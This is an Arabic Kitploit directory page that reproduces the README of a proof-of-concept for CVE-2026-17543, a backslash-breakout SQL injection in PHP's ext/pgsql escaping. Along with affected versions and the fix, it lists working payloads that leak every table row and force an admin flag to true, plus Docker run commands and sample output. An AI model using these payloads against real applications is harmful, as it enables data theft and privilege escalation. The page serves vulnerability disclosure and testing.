Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout — استغلال PoC لـ CVE-2026-17543: حقن SQL في PHP ext/pgsql عبر كسر الحماية باستخدام الشرطة المائلة العكسية، مع حمولات لاستخراج البيانات وتصعيد صلاحيات المسؤول لـ PostgreSQL. | Kitploit
أدوات/GitHubGitHub/hunt-benito/e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمأمن قواعد البياناتمختبرات وتدريب عملي
GitHubhunt-benito/e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout

استغلال PoC لـ CVE-2026-17543: حقن SQL في PHP ext/pgsql عبر كسر الحماية باستخدام الشرطة المائلة العكسية، مع حمولات لاستخراج البيانات وتصعيد صلاحيات المسؤول لـ PostgreSQL.

عرض المستودع
112منذ شهر واحدلم تتم المراجعة بعد

CVE-2026-17543 — حقن SQL في PHP ext/pgsql عبر كسر E'...' باستخدام الشرطة المائلة العكسية

إثبات مفهوم للثغرة CVE-2026-17543 (CVSS 9.8 — حرجة، CWE-89)، وهي ثغرة حقن SQL في امتداد PostgreSQL الإجرائي في PHP.

ملخص الثغرة

تمرر الدوال pg_insert() وpg_select() وpg_update() وpg_delete() وpg_convert() جميعها القيم النصية عبر php_pgsql_convert()، والتي:

  1. تهرّب القيمة باستخدام PQescapeStringConn() من libpq — والتي، في ظل standard_conforming_strings = on (الإعداد الافتراضي لـ PostgreSQL منذ الإصدار 9.1)، تضاعف ' إلى '' وتترك \ دون تغيير (وهذا صحيح لسلسلة نصية قياسية '...').
  2. تغلّف النتيجة المهرَّبة عبر php_pgsql_add_quotes() في ثابت سلسلة هروب E'...' بدلاً من '...' عادية.

داخل E'...'، تكون الشرطة المائلة العكسية حرف هروب، لذا فإن \ موضوعة قبل علامة الاقتباس تُبطل مضاعفة الاقتباس: \' تصبح ' حرفية واحدة، وعلامة الاقتباس الثانية — التي وضعها المهرِّب لتكون حرفاً مكرراً — تنهي السلسلة مبكراً الآن. كل ما بعدها هو SQL خام محقون.

الإصلاح الرسمي (الالتزام ab048bd83b57) هو حرف واحد: إصدار '...' بدلاً من E'...'.

الإصدارات المتأثرة

غير المتأثرة: pg_query_params() (ربط المعاملات الحقيقي) والعبارات الجاهزة في PDO_PGSQL / PDO::quote() — تستخدم هذه مسارات برمجية مستقلة لا تستدعي php_pgsql_add_quotes() أبداً.

الحمولة

root@kitploit:~
zzz\' OR 1=1 --

(شرطة مائلة عكسية واحدة مباشرة قبل علامة الاقتباس المفردة)

  • البناء المُعرَّض للثغرة يُصدر ... WHERE "name"=E'zzz\'' OR 1=1 --' → يُفسَّر OR 1=1 كـ SQL → يُرجع كل الصفوف.
  • البناء المُصحَّح يُصدر ... WHERE "name"='zzz\'' OR 1=1 --' → الشرطة المائلة العكسية عادية، لذا تُبتلع OR 1=1 -- داخل السلسلة الحرفية → لا يطابق شيئاً.

حمولة ثانية (eve\', true) --) توضح تصعيد الامتيازات عبر pg_insert()، بإجبار عمود admin على القيمة true.

الملفات

البدء السريع (Docker)

root@kitploit:~
docker compose up --build --abort-on-container-exit

المخرجات المتوقعة على بناء مُعرَّض للثغرة

root@kitploit:~
PHP version:              8.4.23
standard_conforming_strings: on
----------------------------------------------------------------------

[1] pg_select() data exfiltration
    payload (runtime): zzz\' OR 1=1 --
    generated SQL:
      SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'
    rows returned: 2
    [!] INJECTION - leaked every row in the table

[2] pg_insert() privilege escalation
    name payload (runtime): eve\', true) --
    generated SQL:
      INSERT INTO "users" ("name","admin") VALUES (E'eve\'', true) --','f')
    inserted row admin flag: 't'
    [!] INJECTION - admin column forced to TRUE

Done.

على بناء مُصحَّح، يحتوي SQL المُولَّد على '...' (بدون E)، ويُظهر [1] النتيجة rows returned: 0 / no injection، بينما يُظهر [2] النتيجة admin flag: 'f'.

التشغيل بدون Docker

وجّه PGCONN إلى أي PostgreSQL وشغّله مع PHP معرّضة للثغرة:

root@kitploit:~
PGCONN="host=127.0.0.1 port=5432 dbname=test user=test password=test" php poc.php

المتطلبات

  • بناء PHP مُعرَّض للثغرة ضمن النطاقات أعلاه، مُترجَم مع ext/pgsql (--with-pgsql / امتداد pgsql).
  • أي PostgreSQL (9.1+، أي مع standard_conforming_strings = on).

إيقاف التشغيل

root@kitploit:~
docker compose down -v

⚠️ تنبيه السلامة

صورة PHP المستخدمة هنا غير مُصحَّحة لثغرة CVE-2026-17543 بحكم التعريف. شغّلها فقط في حاوية معزولة ومؤقتة، ونفّذ docker compose down -v عند الانتهاء. لا توجّه أداة إثبات المفهوم هذه أبداً إلى قاعدة بيانات تهمك.

المراجع

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-17543
  • نشرة GitHub الأمنية GHSA-7qpv-r5mr-78m4: https://github.com/php/php-src/security/advisories/GHSA-7qpv-r5mr-78m4
  • التزام الإصلاح: https://github.com/php/php-src/commit/ab048bd83b578119cf81b456526d50498421d617
تنزيل الأداة
الفرعالمُعرَّض للثغرةالمُصحَّح
PHP 8.2< 8.2.338.2.33
PHP 8.3< 8.3.338.3.33
PHP 8.4< 8.4.248.4.24
PHP 8.5< 8.5.98.5.9
الملفالوصف
poc.phpيوضح كلاً من نمطي pg_select لتسريب البيانات وpg_insert لتصعيد الامتيازات؛ ويطبع SQL المُولَّد بحيث يكون رمز E'...' مرئياً
Dockerfileيثبّت صورة PHP CLI معرّضة للثغرة (php:8.4.23-cli) مع ext/pgsql
docker-compose.ymlيشغّل PostgreSQL 16 وحاوية PHP المعرّضة للثغرة وينفّذ poc.php